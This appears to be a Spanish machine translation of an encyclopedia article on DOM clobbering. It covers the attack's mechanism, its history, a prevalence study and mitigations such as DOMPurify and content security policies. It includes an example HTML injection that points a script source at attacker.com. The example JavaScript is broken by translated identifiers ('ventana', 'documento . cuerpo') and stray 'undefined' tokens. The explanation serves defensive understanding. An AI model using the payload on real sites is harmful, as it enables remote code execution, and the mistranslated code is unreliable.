En seguridad de Internet , el ataque de inyección de código DOM ( DOM significa Document Object Model ) es un tipo de ataque que consiste en que el atacante pueda insertar código HTML benigno que no sea un script y que pueda usarse para influir en la ejecución de código JavaScript . Esto permite que un atacante experto realice una variedad de comportamientos no deseados, incluida la capacidad de escalar a la ejecución de código arbitrario en el sitio web.
Si bien la vulnerabilidad se conoce desde hace más de una década, los esfuerzos recientes para mitigarla por completo no han tenido éxito debido a una cantidad significativa de uso de las funciones subyacentes en la web a partir de 2021. Sin embargo, se han identificado algunas defensas que limitan los efectos del ataque al DOM y evitan que se produzcan algunos casos de ataque al DOM.
La vulnerabilidad de DOM clobbering surge de una colisión de nombres entre el contexto de ejecución de JavaScript y los elementos HTML en el Modelo de objetos del documentoundefined
(DOM). Cuando se declara una variable de JavaScript en el mismo contexto que un elemento HTML con el mismo parámetro name
or id
, el navegador asignará el elemento HTML a la undefined
variable. [1] Este comportamiento se puede utilizar para influir selectivamente en la ejecución de JavaScript mediante el registro de elementos HTML que coinciden con variables específicas que afectan la ejecución del código. En algunos casos, el DOM clobbering puede incluso utilizarse para eclipsar las API legítimas del navegador mediante el enmascaramiento del árbol de propiedades mediante elementos DOM HTML. Esto puede llevar a que el atacante manipule la ejecución de varias partes del código JavaScript mediante la inyección de marcado específico. [2] [3]
Un atacante experto podría realizar redirecciones abiertas arbitrarias sobrescribiendo el window.location
atributo, falsificación de solicitud entre sitios o incluso obtener la ejecución de código arbitrario mediante una manipulación cuidadosa de elementos HTML. Como parte de un estudio realizado en 2023, Khodayari et al. demostraron que de los 5000 sitios web más importantes del mundo (según lo determinado por la lista Tranco), el 9,8 % de los sitios eran vulnerables a este ataque, incluidos sitios como Wikibooks , GitHub , Fandom y Trello . [4]
La existencia del ataque DOM clobbering se conoce al menos desde 2010, cuando un artículo de investigadores de la Universidad de California, Berkeley y la Universidad Carnegie Mellon demostró un ataque en el que un iframe llamado self
podía usarse para navegar de una página a otra, violando la política del mismo origen . [5] [6] A lo largo de los años, los investigadores de seguridad han encontrado técnicas más sofisticadas que han permitido un impacto mucho más significativo que lo que se demostró inicialmente. [7] [8]
Si bien la existencia del ataque en sí ya era conocida, el término "DOM clobbering" en sí no surgió hasta 2013, cuando se popularizó gracias a una publicación en el blog del investigador de seguridad Gareth Heyes que demostraba cómo se podía utilizar la vulnerabilidad para obtener la ejecución de código arbitrario. [2] En 2015, Heiderich et al. propusieron un diseño para una biblioteca llamada JSAgents (posteriormente DOMPurify) que sería eficaz para desinfectar ataques de inyección de marcado como los relacionados con secuencias de comandos entre sitios y DOM clobbering. [9] [10] [11]
En los últimos años ha resurgido el interés por mitigar este ataque, especialmente después de que se encontraran vulnerabilidades de DOM clobbering en Gmail y Google Analytics en 2020. [12] Durante 2020 y 2021, se hicieron propuestas en varios grupos de estándares web que detallaban defensas contra el DOM clobbering al no permitir el acceso con nombre a los elementos DOM a nivel del navegador. [13] [4] Sin embargo, estas propuestas fueron descartadas ya que después de investigar los datos de telemetría de Chrome , se descubrió que más del 10,5% de la web depende de que las funciones funcionen según su comportamiento actual. [14] [4]
Para demostrar cómo se puede utilizar un ataque de clobbering DOM para influir en la ejecución de JavaScript, se toma el siguiente fragmento de código JavaScript como ejemplo:
const url = ventana . globalUrlConfig || { href : '/code.js' }; const scriptElem = document .createElement ( 'script' ) ; scriptElem . src = url . href ; documento . cuerpo . appendChild ( scriptElem );
En este sencillo ejemplo, se crea un elemento de script y, posteriormente, se muestra en la página. Sin embargo, este sencillo ejemplo es vulnerable a la manipulación del DOM. Un atacante puede inyectar el siguiente código HTML mediante secuencias de comandos entre sitios u otras funciones del sitio web que podrían permitir la inyección de marcado.
< a href = "https://attacker.com/malicious_script.js" id = "globalUrlConfig" > ... </ a >
Esta inyección permitirá al atacante sobrescribir la globalUrlConfig
variable con una referencia al elemento de anclaje , lo que a su vez sobrescribe la url
variable y posteriormente el scriptElem.src
parámetro (debido al hecho de que url.href
ahora se refiere al href
parámetro del elemento de anclaje), lo que lleva a la ejecución de código arbitrario . [15]
El modelo de amenaza para un ataque de DOM clobbering es similar al del modelo de atacante web propuesto por Akhawe et al. en 2010. Este modelo supone que el atacante puede enviar correos electrónicos o, por algún otro método, engañar a la víctima para que acceda a páginas específicas bajo su control. El modelo también supone que el atacante puede inyectar un conjunto limitado de marcado en los sitios web de la víctima. Esto se puede hacer aprovechando otros ataques como el cross-site scripting o abusando de las funciones de representación de texto enriquecido en una página web (por ejemplo, el lector de correo electrónico y el editor WYSIWYG de Gmail ). [16] [17] Esto es crucial ya que el DOM clobbering depende de que el atacante pueda inyectar HTML potencialmente benigno en un sitio web. [18]
Si bien la defensa óptima contra el ataque al DOM sería desactivar el acceso a los elementos DOM nombrados, esto actualmente no es factible debido al uso activo significativo de estas funciones según los datos de telemetría de Chrome en 2021. [13] [14] [4] Sin embargo, se pueden utilizar varias prácticas de codificación segura para mitigar los efectos del ataque al DOM en la ejecución del código JavaScript. [19]
Una de las técnicas más comunes para limitar los ataques de clobbering de DOM es usar bibliotecas de desinfección de HTML . [20] En 2017, Heiderich et al. propusieron una mitigación para el clobbering de DOM que posteriormente se agregó a la biblioteca DOMPurify. La mitigación aprovechó el uso de hashes de funciones existentes para determinar si los elementos HTML los habían sobrescrito. Además, DOMPurify analiza los atributos id
y name
de los elementos inyectados para identificar si pueden colisionar con funciones globales existentes. [21] Sin embargo, se han encontrado vulnerabilidades recientes relacionadas con el clobbering de DOM en DOMPurify y bibliotecas similares como HTML Janitor, que indican que estas bibliotecas solo protegen contra casos específicos de clobbering de DOM y en gran medida desconocen los riesgos relacionados. [22] [23] [24]
Otro método popular para mitigar los efectos de la manipulación del DOM es el uso de políticas de seguridad de contenido (CSP) restrictivas. [25] Si bien esto no evita que la manipulación del DOM altere la ejecución del código ya presente, [26] el uso de políticas de seguridad de contenido restrictivas puede hacer que sea mucho más difícil para los atacantes elevar un riesgo de manipulación del DOM a un ataque de ejecución de código arbitrario al limitar la forma en que se pueden ejecutar los scripts en un sitio web. Al aprovechar la script-src
directiva CSP, los desarrolladores web pueden restringir dónde se pueden cargar los scripts a un conjunto predeterminado de dominios confiables. [25] Esto frustra significativamente la capacidad del atacante de cargar un código controlado por el atacante que no sea de confianza, si pueden comprometer el src
atributo de una etiqueta de script. [27]